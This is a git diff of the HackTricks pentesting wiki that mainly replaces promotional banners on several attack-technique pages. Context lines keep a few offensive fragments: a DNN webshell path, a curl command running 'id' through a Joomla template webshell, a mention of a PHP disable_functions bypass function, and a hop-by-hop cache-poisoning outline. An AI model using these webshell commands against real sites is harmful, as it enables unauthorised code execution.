+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## What is Firebase
@@ -20,14 +23,17 @@ Learn more about Firebase in:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum" %}
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md b/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md
index 69dba8605a1..d6705e72070 100644
--- a/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md
+++ b/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md
@@ -1,16 +1,19 @@
# DotNetNuke (DNN)
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## DotNetNuke (DNN)
@@ -51,14 +54,17 @@ Then access to **`/Portals/0/shell.asp`** to access your webshell.
You can **escalate privileges** using the **Potatoes** or **PrintSpoofer** for example.
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/network-services-pentesting/pentesting-web/joomla.md b/network-services-pentesting/pentesting-web/joomla.md
index 6c93acc7328..beea030f6a7 100644
--- a/network-services-pentesting/pentesting-web/joomla.md
+++ b/network-services-pentesting/pentesting-web/joomla.md
@@ -1,16 +1,19 @@
# Joomla
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
### Joomla Statistics
@@ -123,14 +126,17 @@ If you managed to get **admin credentials** you can **RCE inside of it** by addi
4. **Save & Close**
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md
index 60073015973..3333afe40e3 100644
--- a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md
+++ b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md
@@ -1,16 +1,19 @@
# disable\_functions bypass - PHP 7.0-7.4 (\*nix only)
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## PHP 7.0-7.4 (\*nix only)
@@ -237,14 +240,17 @@ function pwn($cmd) {
}
```
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md b/network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md
index a17b660f760..11fa6b4a39e 100644
--- a/network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md
+++ b/network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md
@@ -1,16 +1,19 @@
# Basic Tomcat Info
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
**Try Hard Security Group**
@@ -163,14 +166,17 @@ The file shows us what each of the roles `manager-gui`, `manager-script`, `manag
{% embed url="https://discord.gg/tryhardsecurity" %}
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/pentesting-web/abusing-hop-by-hop-headers.md b/pentesting-web/abusing-hop-by-hop-headers.md
index e82e342d0f7..8d1b47c50c6 100644
--- a/pentesting-web/abusing-hop-by-hop-headers.md
+++ b/pentesting-web/abusing-hop-by-hop-headers.md
@@ -1,16 +1,19 @@
# hop-by-hop headers
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
**This is a summary of the post [https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers)**
@@ -41,14 +44,17 @@ If a cache server incorrectly caches content based on hop-by-hop headers, an att
2. The poorly configured cache server does not remove the hop-by-hop header and caches the response specific to the attacker's session.
3. Future users requesting the same resource receive the cached response, which was tailored for the attacker, potentially leading to session hijacking or exposure of sensitive information.
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/pentesting-web/dependency-confusion.md b/pentesting-web/dependency-confusion.md
index 0c2e10a7225..5ff01deb7a0 100644
--- a/pentesting-web/dependency-confusion.md
+++ b/pentesting-web/dependency-confusion.md
@@ -1,16 +1,19 @@
# Dependency Confusion
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
@@ -60,14 +63,17 @@ In the [**original post about dependency confusion**](https://medium.com/@alex.b
{% embed url="https://websec.nl/" %}
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md b/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md
index 568c5e88b9a..1658cf26145 100644
--- a/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md
+++ b/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md
@@ -1,16 +1,19 @@
# CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
-* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## Java Transformers to Rutime exec()
